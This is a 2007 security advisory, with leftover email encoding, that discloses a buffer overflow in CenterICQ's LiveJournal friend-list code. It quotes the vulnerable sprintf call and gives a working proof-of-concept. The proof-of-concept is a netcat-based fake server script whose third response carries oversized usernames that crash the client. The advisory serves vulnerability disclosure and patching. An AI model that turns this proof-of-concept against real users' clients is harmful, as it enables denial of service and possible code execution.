=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D

TK53 Advisory #1 01/07/2007

- CenterICQ remote DoS buffer overflow in Livejournal handling

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3 D=3D=3D=3D=3D=3D

* Authors: Lolek of TK53 <lolek1337@gmail.com>, Roflek of TK53
<roflek1337@gmail.com>

* Affected program: CenterICQ (http://thekonst.net/centericq/)

* Affected versions: 4.9.11 - 4.21.0

* Overwiew:
CenterICQ contains support for LiveJournal (http://www.livejournal.com/),
such as posting to your own blog, reading other blogs' RSS feeds, and oth=
er
community-related functions, such as showing whether a user has added or
removed your own users to/from the friend list, all via a unified HTTP
interface provided by LiveJournal. The latter functionality is vulnerable
to a buffer overflow and possible remote code execution.

=3D=3D Vulnerability Details =3D=3D

$SOURCE/src/hooks/ljhook.cc:
char buf[512];
....
if(find(friendof.begin(), friendof.end(), in->first) =3D=3D
friendof.end()) {
friendof.push_back(in->first);

if(!foempty) {
bd =3D (string) "http://" +
conf.getourid(proto).server + "/users/" + in->first;

sprintf(buf, _("The user %s (%s) has added you to
his/her friend list\n\nJournal address: %s"),
in->first.c_str(), in->second.c_str(), bd.c_str());

em.store(imnotification(self, buf));
}
}
....

CenterICQ regularly checks the server for the friends list (#define
PERIOD_FRIENDS 3600, which means that the check is done every 3600 seconds)=
..

If a user is in the friend list of at least one user, and another user adds=
the
user to his friend list, foempty gets true, and the sprintf is called, lead=
ing
to a buffer overflow in buf. The length of the username (in->first) or the
realname (in->second) are totally unchecked. This means that this will over=
flow
if: 2*length(username) + length(realname) + length(string literals) >=3D
sizeof(buf)

The only reason why this is not exploitable with the official LiveJournal
servers is because LiveJournal has a length restriction on both the usernam=
e (15
characters) and the real name (50 characters). But since the server that is=
used
for communication is configurable within CenterICQ, and since LiveJournal
provides its backend under the GPL, the risk for buffer overflow and
exploitation does exist.

=3D=3D Proof of Concept Exploit =3D=3D

add the following to your ~/.centericq/conf
lj_nick=09randomname
lj_pass=09randompass
lj_server=09localhost:8000
lj_status=09o
lj_importfriends=091

Start the following shell script, then CenterICQ and be patient because of
PERIOD_FRIENDS (3600 seconds, 1 hour) time (or make it 10 or whatever in th=
e
code and recompile).

The following shell script is a very simple proof-of-concept demonstration =
of
the buffer overflow:

--- SNIP ---
#!/bin/sh

cat > req1.txt << __EOF
HTTP/1.0 200 OK
Date: Sat, 06 Jan 2007 11:51:50 GMT
Server: Apache
Set-Cookie: ljuniq=3DfGKzZta9CPnvvx2:1168084310:hbx0; expires=3DWednesday,
07-Mar-2007 11:51:50 GMT; domain=3D.livejournal.com; path=3D/
Content-length: 558
Connection: close
Content-Type: text/plain

friend_1_bg
********
friend_1_fg
#000000
friend_1_name
jwz
friend_1_user
jwz
friend_2_bg
********
friend_2_fg
#000000
friend_2_name
LJ Maintenance
friend_2_type
community
friend_2_user
lj_maintenance
friend_3_bg
********
friend_3_fg
#000000
friend_3_name
LJ Spotlight
friend_3_type
community
friend_3_user
lj_spotlight
friend_4_bg
********
friend_4_fg
#000000
friend_4_name
LiveJournal News
friend_4_type
news
friend_4_user
news
friend_count
4
friendof_1_bg
********
friendof_1_fg
#000000
friendof_1_name
roflek
friendof_1_user
roflek
friendof_count
1
success
OK
__EOF

cat > req2.txt << __EOF
HTTP/1.0 200 OK
Date: Sat, 06 Jan 2007 11:51:50 GMT
Server: Apache
Set-Cookie: ljuniq=3DfGKzZta9CPnvvx2:1168084310:hbx0; expires=3DWednesday,
07-Mar-2007 11:51:50 GMT; domain=3D.livejournal.com; path=3D/
Content-length: 558
Connection: close
Content-Type: text/plain

friend_1_bg
********
friend_1_fg
#000000
friend_1_name
jwz
friend_1_user
jwz
friend_2_bg
********
friend_2_fg
#000000
friend_2_name
LJ Maintenance
friend_2_type
community
friend_2_user
lj_maintenance
friend_3_bg
********
friend_3_fg
#000000
friend_3_name
LJ Spotlight
friend_3_type
community
friend_3_user
lj_spotlight
friend_4_bg
********
friend_4_fg
#000000
friend_4_name
LiveJournal News
friend_4_type
news
friend_4_user
news
friend_count
4
friendof_1_bg
********
friendof_1_fg
#000000
friendof_1_name
roflek
friendof_1_user
roflek
friendof_2_bg
********
friendof_2_fg
#000000
friendof_2_name
foo
friendof_2_user
foo
friendof_count
2
success
OK
__EOF

cat > req3.txt << __EOF
HTTP/1.0 200 OK
Date: Sat, 06 Jan 2007 11:51:50 GMT
Server: Apache
Set-Cookie: ljuniq=3DfGKzZta9CPnvvx2:1168084310:hbx0; expires=3DWednesday,
07-Mar-2007 11:51:50 GMT; domain=3D.livejournal.com; path=3D/
Content-length: 558
Connection: close
Content-Type: text/plain

friend_1_bg
********
friend_1_fg
#000000
friend_1_name
jwz
friend_1_user
jwz
friend_2_bg
********
friend_2_fg
#000000
friend_2_name
LJ Maintenance
friend_2_type
community
friend_2_user
lj_maintenance
friend_3_bg
********
friend_3_fg
#000000
friend_3_name
LJ Spotlight
friend_3_type
community
friend_3_user
lj_spotlight
friend_4_bg
********
friend_4_fg
#000000
friend_4_name
LiveJournal News
friend_4_type
news
friend_4_user
news
friend_count
4
friendof_1_bg
********
friendof_1_fg
#000000
friendof_1_name
roflek
friendof_1_user
roflek
friendof_2_bg
********
friendof_2_fg
#000000
friendof_2_name
lolek
friendof_2_user
lolek
friendof_3_bg
********
friendof_3_fg
#000000
friendof_3_name
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
friendof_3_user
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAA=
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
friendof_count
3
success
OK
__EOF

netcat -lp 8000 < req1.txt
netcat -lp 8000 < req2.txt
netcat -lp 8000 < req3.txt

--- SNIP ---